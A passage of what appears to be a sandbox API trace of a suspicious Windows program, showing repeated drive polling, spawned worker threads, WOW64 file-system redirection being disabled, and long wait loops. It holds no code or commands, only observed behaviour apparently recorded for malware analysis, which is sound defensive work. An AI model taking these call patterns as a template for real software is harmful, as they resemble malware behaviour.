(dwMilliseconds=0x64) [0223.574] GetLogicalDrives () returned 0x4 [0223.575] Sleep (dwMilliseconds=0x64) [0225.601] GetLogicalDrives () returned 0x4 [0225.602] Sleep (dwMilliseconds=0x64) [0225.995] GetLogicalDrives () returned 0x4 [0225.995] Sleep (dwMilliseconds=0x64) [0226.202] GetLogicalDrives () returned 0x4 [0226.202] Sleep (dwMilliseconds=0x64) [0226.326] GetLogicalDrives () returned 0x4 [0226.326] Sleep (dwMilliseconds=0x64) [0226.682] GetLogicalDrives () returned 0x4 [0226.682] Sleep (dwMilliseconds=0x64) [0227.155] GetLogicalDrives () returned 0x4 [0227.155] Sleep (dwMilliseconds=0x64) [0227.429] GetLogicalDrives () returned 0x4 [0227.429] Sleep (dwMilliseconds=0x64) [0227.628] GetLogicalDrives () returned 0x4 [0227.629] Sleep (dwMilliseconds=0x64) [0227.820] GetLogicalDrives () returned 0x4 [0227.820] Sleep (dwMilliseconds=0x64) [0228.083] GetLogicalDrives () returned 0x4 [0228.083] Sleep (dwMilliseconds=0x64) [0228.351] GetLogicalDrives () returned 0x4 [0228.351] Sleep (dwMilliseconds=0x64) [0228.547] GetLogicalDrives () returned 0x4 [0228.547] Sleep (dwMilliseconds=0x64) [0228.878] GetLogicalDrives () returned 0x4 [0228.878] Sleep (dwMilliseconds=0x64) [0229.051] GetLogicalDrives () returned 0x4 [0229.051] Sleep (dwMilliseconds=0x64) [0229.480] GetLogicalDrives () returned 0x4 [0229.481] Sleep (dwMilliseconds=0x64) [0230.043] GetLogicalDrives () returned 0x4 [0230.043] Sleep (dwMilliseconds=0x64) [0230.269] GetLogicalDrives () returned 0x4 [0230.270] Sleep (dwMilliseconds=0x64) [0230.503] GetLogicalDrives () returned 0x4 [0230.503] Sleep (dwMilliseconds=0x64) [0230.886] GetLogicalDrives () returned 0x4 [0230.886] Sleep (dwMilliseconds=0x64) [0230.985] GetLogicalDrives () returned 0x4 [0230.985] Sleep (dwMilliseconds=0x64) [0231.255] GetLogicalDrives () returned 0x4 [0231.255] Sleep (dwMilliseconds=0x64) [0231.433] GetLogicalDrives () returned 0x4 [0231.433] Sleep (dwMilliseconds=0x64) [0231.595] GetLogicalDrives () returned 0x4 [0231.595] Sleep (dwMilliseconds=0x64) [0232.039] GetLogicalDrives () returned 0x4 [0232.039] Sleep (dwMilliseconds=0x64) [0232.417] GetLogicalDrives () returned 0x4 [0232.418] Sleep (dwMilliseconds=0x64) [0232.830] GetLogicalDrives () returned 0x4 [0232.830] Sleep (dwMilliseconds=0x64) [0233.033] GetLogicalDrives () returned 0x4 [0233.033] Sleep (dwMilliseconds=0x64) [0233.174] GetLogicalDrives () returned 0x4 [0233.174] Sleep (dwMilliseconds=0x64) [0233.760] GetLogicalDrives () returned 0x4 [0233.760] Sleep (dwMilliseconds=0x64) [0234.734] GetLogicalDrives () returned 0x4 [0234.734] Sleep (dwMilliseconds=0x64) [0234.847] GetLogicalDrives () returned 0x4 [0234.848] Sleep (dwMilliseconds=0x64) [0235.575] GetLogicalDrives () returned 0x4 [0235.575] Sleep (dwMilliseconds=0x64) [0236.068] GetLogicalDrives () returned 0x4 [0236.068] Sleep (dwMilliseconds=0x64) [0236.539] GetLogicalDrives () returned 0x4 [0236.539] Sleep (dwMilliseconds=0x64) [0236.836] GetLogicalDrives () returned 0x4 [0236.836] Sleep (dwMilliseconds=0x64) [0237.599] GetLogicalDrives () returned 0x4 [0237.599] Sleep (dwMilliseconds=0x64) [0238.058] GetLogicalDrives () returned 0x4 [0238.059] Sleep (dwMilliseconds=0x64) [0238.706] GetLogicalDrives () returned 0x4 [0238.706] Sleep (dwMilliseconds=0x64) [0238.849] GetLogicalDrives () returned 0x4 [0238.850] Sleep (dwMilliseconds=0x64) [0239.277] GetLogicalDrives () returned 0x4 [0239.277] Sleep (dwMilliseconds=0x64) [0239.538] GetLogicalDrives () returned 0x4 [0239.538] Sleep (dwMilliseconds=0x64) [0239.877] GetLogicalDrives () returned 0x4 [0239.878] Sleep (dwMilliseconds=0x64) [0240.118] GetLogicalDrives () returned 0x4 [0240.118] Sleep (dwMilliseconds=0x64) [0240.567] GetLogicalDrives () returned 0x4 [0240.567] Sleep (dwMilliseconds=0x64) [0241.448] GetLogicalDrives () returned 0x4 [0241.448] Sleep (dwMilliseconds=0x64) [0241.959] GetLogicalDrives () returned 0x4 [0241.959] Sleep (dwMilliseconds=0x64) [0242.195] GetLogicalDrives () returned 0x4 [0242.195] Sleep (dwMilliseconds=0x64) [0242.575] GetLogicalDrives () returned 0x4 [0242.575] Sleep (dwMilliseconds=0x64) [0243.104] GetLogicalDrives () returned 0x4 [0243.104] Sleep (dwMilliseconds=0x64) [0243.836] GetLogicalDrives () returned 0x4 [0243.836] Sleep (dwMilliseconds=0x64) [0244.177] GetLogicalDrives () returned 0x4 [0244.177] Sleep (dwMilliseconds=0x64) [0244.416] GetLogicalDrives () returned 0x4 [0244.416] Sleep (dwMilliseconds=0x64) [0245.013] GetLogicalDrives () returned 0x4 [0245.013] Sleep (dwMilliseconds=0x64) [0245.429] GetLogicalDrives () returned 0x4 [0245.429] Sleep (dwMilliseconds=0x64) [0245.749] GetLogicalDrives () returned 0x4 [0245.750] Sleep (dwMilliseconds=0x64) [0246.609] GetLogicalDrives () returned 0x4 [0246.609] Sleep (dwMilliseconds=0x64) [0247.022] GetLogicalDrives () returned 0x4 [0247.022] Sleep (dwMilliseconds=0x64) [0247.529] GetLogicalDrives () returned 0x4 [0247.530] Sleep (dwMilliseconds=0x64) [0247.716] GetLogicalDrives () returned 0x4 [0247.716] Sleep (dwMilliseconds=0x64) [0248.362] GetLogicalDrives () returned 0x4 [0248.362] Sleep (dwMilliseconds=0x64) [0248.837] GetLogicalDrives () returned 0x4 [0248.838] Sleep (dwMilliseconds=0x64) [0249.176] GetLogicalDrives () returned 0x4 [0249.176] Sleep (dwMilliseconds=0x64) [0251.922] GetLogicalDrives () returned 0x4 [0251.922] Sleep (dwMilliseconds=0x64) [0252.391] GetLogicalDrives () returned 0x4 [0252.391] Sleep (dwMilliseconds=0x64) [0252.948] GetLogicalDrives () returned 0x4 [0252.948] Sleep (dwMilliseconds=0x64) [0254.577] GetLogicalDrives () returned 0x4 [0254.577] Sleep (dwMilliseconds=0x64) [0255.788] GetLogicalDrives () returned 0x4 [0255.788] Sleep (dwMilliseconds=0x64) [0256.503] GetLogicalDrives () returned 0x4 [0256.503] Sleep (dwMilliseconds=0x64) [0256.775] GetLogicalDrives () returned 0x4 [0256.775] Sleep (dwMilliseconds=0x64) [0257.163] GetLogicalDrives () returned 0x4 [0257.164] Sleep (dwMilliseconds=0x64) [0257.546] GetLogicalDrives () returned 0x4 [0257.546] Sleep (dwMilliseconds=0x64) [0257.927] GetLogicalDrives () returned 0x4 [0257.928] Sleep (dwMilliseconds=0x64) [0258.316] GetLogicalDrives () returned 0x4 [0258.317] Sleep (dwMilliseconds=0x64) [0258.804] GetLogicalDrives () returned 0x4 [0258.804] Sleep (dwMilliseconds=0x64) [0259.180] GetLogicalDrives () returned 0x4 [0259.180] Sleep (dwMilliseconds=0x64) [0259.443] GetLogicalDrives () returned 0x4 [0259.443] Sleep (dwMilliseconds=0x64) [0259.777] GetLogicalDrives () returned 0x4 [0259.777] Sleep (dwMilliseconds=0x64) [0259.927] GetLogicalDrives () returned 0x4 [0259.927] Sleep (dwMilliseconds=0x64) [0260.438] GetLogicalDrives () returned 0x4 [0260.438] Sleep (dwMilliseconds=0x64) [0260.799] GetLogicalDrives () returned 0x4 [0260.799] Sleep (dwMilliseconds=0x64) [0261.239] GetLogicalDrives () returned 0x4 [0261.239] Sleep (dwMilliseconds=0x64) [0261.858] GetLogicalDrives () returned 0x4 [0261.858] Sleep (dwMilliseconds=0x64) [0262.252] GetLogicalDrives () returned 0x4 [0262.252] Sleep (dwMilliseconds=0x64) [0262.856] GetLogicalDrives () returned 0x4 [0262.856] Sleep (dwMilliseconds=0x64) [0264.058] GetLogicalDrives () returned 0x4 [0264.058] Sleep (dwMilliseconds=0x64) [0264.267] GetLogicalDrives () returned 0x4 [0264.267] Sleep (dwMilliseconds=0x64) [0264.942] GetLogicalDrives () returned 0x4 [0264.942] Sleep (dwMilliseconds=0x64) [0265.232] GetLogicalDrives () returned 0x4 [0265.232] Sleep (dwMilliseconds=0x64) [0265.593] GetLogicalDrives () returned 0x4 [0265.593] Sleep (dwMilliseconds=0x64) [0265.729] GetLogicalDrives () returned 0x4 [0265.729] Sleep (dwMilliseconds=0x64) [0266.052] GetLogicalDrives () returned 0x4 [0266.053] Sleep (dwMilliseconds=0x64) [0266.397] GetLogicalDrives () returned 0x4 [0266.397] Sleep (dwMilliseconds=0x64) [0266.837] GetLogicalDrives () returned 0x4 [0266.837] Sleep (dwMilliseconds=0x64) [0267.072] GetLogicalDrives () returned 0x4 [0267.072] Sleep (dwMilliseconds=0x64) [0267.752] GetLogicalDrives () returned 0x4 [0267.752] Sleep (dwMilliseconds=0x64) [0268.491] GetLogicalDrives () returned 0x4 [0268.491] Sleep (dwMilliseconds=0x64) [0269.406] GetLogicalDrives () returned 0x4 [0269.406] Sleep (dwMilliseconds=0x64) [0269.820] GetLogicalDrives () returned 0x4 [0269.820] Sleep (dwMilliseconds=0x64) [0270.446] GetLogicalDrives () returned 0x4 [0270.446] Sleep (dwMilliseconds=0x64) [0270.727] GetLogicalDrives () returned 0x4 [0270.727] Sleep (dwMilliseconds=0x64) [0271.071] GetLogicalDrives () returned 0x4 [0271.071] Sleep (dwMilliseconds=0x64) [0271.283] GetLogicalDrives () returned 0x4 [0271.283] Sleep (dwMilliseconds=0x64) [0271.471] GetLogicalDrives () returned 0x4 [0271.471] Sleep (dwMilliseconds=0x64) [0271.672] GetLogicalDrives () returned 0x4 [0271.673] Sleep (dwMilliseconds=0x64) [0272.123] GetLogicalDrives () returned 0x4 [0272.123] Sleep (dwMilliseconds=0x64) [0272.523] GetLogicalDrives () returned 0x4 [0272.523] Sleep (dwMilliseconds=0x64) Thread: id = 62 os_tid = 0x5f8 Thread: id = 63 os_tid = 0x634 [0193.450] GetTickCount () returned 0x113e7d0 [0193.451] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x24) returned 0x8fde88 [0193.451] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x8fde88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18c [0193.456] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x8fde88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x194 [0193.461] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x8fde88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19c [0193.467] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x8fde88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a4 [0193.473] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8f4ac0 [0193.473] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8f4ac0, Size=0x20) returned 0x8d3170 [0193.473] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8f4ac0 [0193.473] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8f4ac0, Size=0x20) returned 0x8d30f8 [0193.474] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77080000 [0193.474] GetProcAddress (hModule=0x77080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x770ad650 [0193.474] Wow64DisableWow64FsRedirection (in: OldValue=0x29cff84 | out: OldValue=0x29cff84*=0x0) returned 1 [0193.474] lstrlenW (lpString="kernel32.dll") returned 12 [0193.474] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8d3170 | out: hHeap=0x880000) returned 1 [0193.474] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0193.474] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8d30f8 | out: hHeap=0x880000) returned 1 [0193.474] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x8baea8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ac [0193.482] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0193.750] GetTickCount () returned 0x113e8f8 [0193.750] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0194.575] GetTickCount () returned 0x113ec33 [0194.575] GetTickCount () returned 0x113ec33 [0194.575] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0195.058] GetTickCount () returned 0x113ee17 [0195.058] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0196.291] GetTickCount () returned 0x113f2e7 [0196.291] GetTickCount () returned 0x113f2e7 [0196.291] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0196.866] GetTickCount () returned 0x113f528 [0196.866] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0198.094] GetTickCount () returned 0x113f9f9 [0198.094] GetTickCount () returned 0x113f9f9 [0198.094] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0198.765] GetTickCount () returned 0x113fc98 [0198.765] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0199.426] GetTickCount () returned 0x113ff27 [0199.426] GetTickCount () returned 0x113ff27 [0199.426] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0200.574] GetTickCount () returned 0x11403a9 [0200.574] GetTickCount () returned 0x11403a9 [0200.574] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0201.129] GetTickCount () returned 0x11405cb [0201.129] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0201.698] GetTickCount () returned 0x114080c [0201.698] GetTickCount () returned 0x114080c [0201.698] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0202.012] GetTickCount () returned 0x1140944 [0202.013] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0202.476] GetTickCount () returned 0x1140b18 [0202.476] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0202.917] GetTickCount () returned 0x1140ccd [0202.917] GetTickCount () returned 0x1140ccd [0202.917] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0203.458] GetTickCount () returned 0x1140ee0 [0203.458] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0203.670] GetTickCount () returned 0x1140fba [0203.670] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0204.012] GetTickCount () returned 0x1141111 [0204.012] GetTickCount () returned 0x1141111 [0204.012] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0205.568] GetTickCount () returned 0x1141729 [0205.568] GetTickCount () returned 0x1141729 [0205.568] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0206.461] GetTickCount () returned 0x1141aa3 [0206.461] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0206.849] GetTickCount () returned 0x1141c29 [0206.849] GetTickCount () returned 0x1141c29 [0206.849] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0207.219] GetTickCount () returned 0x1141d9f [0207.219] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0207.556] GetTickCount () returned 0x1141ee7 [0207.556] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0208.055] GetTickCount () returned 0x11420da [0208.055] GetTickCount () returned 0x11420da [0208.055] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0208.761] GetTickCount () returned 0x1142398 [0208.761] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0209.606] GetTickCount () returned 0x11426f2 [0209.606] GetTickCount () returned 0x11426f2 [0209.606] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0210.298] GetTickCount () returned 0x11428f5 [0210.298] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0210.875] GetTickCount () returned 0x1142b36 [0210.875] GetTickCount () returned 0x1142b36 [0210.875] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0211.129] GetTickCount () returned 0x1142c2f [0211.129] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0211.515] GetTickCount () returned 0x1142db5 [0211.515] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0211.826] GetTickCount () returned 0x1142ece [0211.826] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0212.289] GetTickCount () returned 0x11430a2 [0212.289] GetTickCount () returned 0x11430a2 [0212.289] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0212.683] GetTickCount () returned 0x1143228 [0212.683] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0212.936] GetTickCount () returned 0x1143312 [0212.937] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0213.187] GetTickCount () returned 0x11433fc [0213.187] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0213.409] GetTickCount () returned 0x11434d7 [0213.409] GetTickCount () returned 0x11434d7 [0213.409] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0213.618] GetTickCount () returned 0x11435a1 [0213.618] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0214.317] GetTickCount () returned 0x1143850 [0214.317] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0214.939] GetTickCount () returned 0x1143ab0 [0214.940] GetTickCount () returned 0x1143ab0 [0214.940] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0215.431] GetTickCount () returned 0x1143c84 [0215.431] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0215.874] GetTickCount () returned 0x1143e39 [0215.875] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0216.378] GetTickCount () returned 0x114401d [0216.378] GetTickCount () returned 0x114401d [0216.378] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0216.804] GetTickCount () returned 0x11441b2 [0216.804] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0217.273] GetTickCount () returned 0x1144377 [0217.273] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0217.564] GetTickCount () returned 0x114448f [0217.564] GetTickCount () returned 0x114448f [0217.564] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0217.947] GetTickCount () returned 0x11445f6 [0217.947] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0218.393] GetTickCount () returned 0x11447ab [0218.393] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0218.840] GetTickCount () returned 0x1144960 [0218.840] GetTickCount () returned 0x1144960 [0218.840] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0219.200] GetTickCount () returned 0x1144ab7 [0219.200] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0219.654] GetTickCount () returned 0x1144c6c [0219.654] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0220.024] GetTickCount () returned 0x1144de2 [0220.024] GetTickCount () returned 0x1144de2 [0220.024] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0220.322] GetTickCount () returned 0x1144f0b [0220.322] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0220.501] GetTickCount () returned 0x1144fc6 [0220.501] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0220.739] GetTickCount () returned 0x11450b0 [0220.739] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0221.281] GetTickCount () returned 0x11452d2 [0221.281] GetTickCount () returned 0x11452d2 [0221.281] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0221.683] GetTickCount () returned 0x1145458 [0221.683] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0221.969] GetTickCount () returned 0x1145580 [0221.969] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0223.575] GetTickCount () returned 0x1145bc7 [0223.575] GetTickCount () returned 0x1145bc7 [0223.575] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0225.604] GetTickCount () returned 0x11463b3 [0225.604] GetTickCount () returned 0x11463b3 [0225.604] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0225.996] GetTickCount () returned 0x1146539 [0225.996] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0226.201] GetTickCount () returned 0x1146604 [0226.201] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0226.324] GetTickCount () returned 0x1146681 [0226.324] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0226.681] GetTickCount () returned 0x11467e7 [0226.681] GetTickCount () returned 0x11467e7 [0226.681] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0227.154] GetTickCount () returned 0x11469bb [0227.154] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0227.428] GetTickCount () returned 0x1146ad4 [0227.428] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0227.627] GetTickCount () returned 0x1146b8f [0227.627] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0227.792] GetTickCount () returned 0x1146c3b [0227.792] GetTickCount () returned 0x1146c3b [0227.792] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0228.082] GetTickCount () returned 0x1146d63 [0228.082] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0228.350] GetTickCount () returned 0x1146e6d [0228.350] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0228.547] GetTickCount () returned 0x1146f28 [0228.547] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0228.877] GetTickCount () returned 0x114707f [0228.877] GetTickCount () returned 0x114707f [0228.877] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0229.050] GetTickCount () returned 0x114712b [0229.050] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0229.481] GetTickCount () returned 0x11472d0 [0229.481] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0230.043] GetTickCount () returned 0x1147501 [0230.043] GetTickCount () returned 0x1147501 [0230.043] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0230.270] GetTickCount () returned 0x11475eb [0230.270] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0230.503] GetTickCount () returned 0x11476d5 [0230.504] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0230.886] GetTickCount () returned 0x114784c [0230.886] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0230.986] GetTickCount () returned 0x11478b9 [0230.986] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0231.255] GetTickCount () returned 0x11479c2 [0231.255] GetTickCount () returned 0x11479c2 [0231.255] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0231.433] GetTickCount () returned 0x1147a6e [0231.433] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0231.595] GetTickCount () returned 0x1147b19 [0231.595] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0232.039] GetTickCount () returned 0x1147cce [0232.039] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0232.418] GetTickCount () returned 0x1147e54 [0232.418] GetTickCount () returned 0x1147e54 [0232.419] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0232.833] GetTickCount () returned 0x1147fea [0232.833] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0233.033] GetTickCount () returned 0x11480b5 [0233.033] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0233.175] GetTickCount () returned 0x1148141 [0233.175] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0233.760] GetTickCount () returned 0x1148392 [0233.760] GetTickCount () returned 0x1148392 [0233.761] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0234.735] GetTickCount () returned 0x1148759 [0234.735] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0234.848] GetTickCount () returned 0x11487c6 [0234.848] GetTickCount () returned 0x11487c6 [0234.848] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0235.575] GetTickCount () returned 0x1148aa3 [0235.575] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0236.068] GetTickCount () returned 0x1148c97 [0236.068] GetTickCount () returned 0x1148c97 [0236.069] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0236.538] GetTickCount () returned 0x1148e6b [0236.538] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0236.835] GetTickCount () returned 0x1148f93 [0236.835] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0237.599] GetTickCount () returned 0x1149290 [0237.599] GetTickCount () returned 0x1149290 [0237.599] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0238.058] GetTickCount () returned 0x1149454 [0238.058] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0238.706] GetTickCount () returned 0x11496e3 [0238.706] GetTickCount () returned 0x11496e3 [0238.707] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0238.850] GetTickCount () returned 0x1149770 [0238.850] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0239.276] GetTickCount () returned 0x1149915 [0239.276] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0239.537] GetTickCount () returned 0x1149a0e [0239.537] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0239.876] GetTickCount () returned 0x1149b66 [0239.877] GetTickCount () returned 0x1149b66 [0239.877] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0240.117] GetTickCount () returned 0x1149c50 [0240.118] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0240.567] GetTickCount () returned 0x1149e14 [0240.567] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0241.449] GetTickCount () returned 0x114a17e [0241.449] GetTickCount () returned 0x114a17e [0241.449] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0241.958] GetTickCount () returned 0x114a380 [0241.958] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0242.195] GetTickCount () returned 0x114a46a [0242.195] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0242.575] GetTickCount () returned 0x114a5f0 [0242.575] GetTickCount () returned 0x114a5f0 [0242.575] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0243.102] GetTickCount () returned 0x114a7f3 [0243.102] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0243.835] GetTickCount () returned 0x114aad0 [0243.835] GetTickCount () returned 0x114aad0 [0243.835] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0244.177] GetTickCount () returned 0x114ac28 [0244.177] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0244.415] GetTickCount () returned 0x114ad21 [0244.415] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0245.012] GetTickCount () returned 0x114af72 [0245.012] GetTickCount () returned 0x114af72 [0245.012] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0245.428] GetTickCount () returned 0x114b117 [0245.428] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0245.749] GetTickCount () 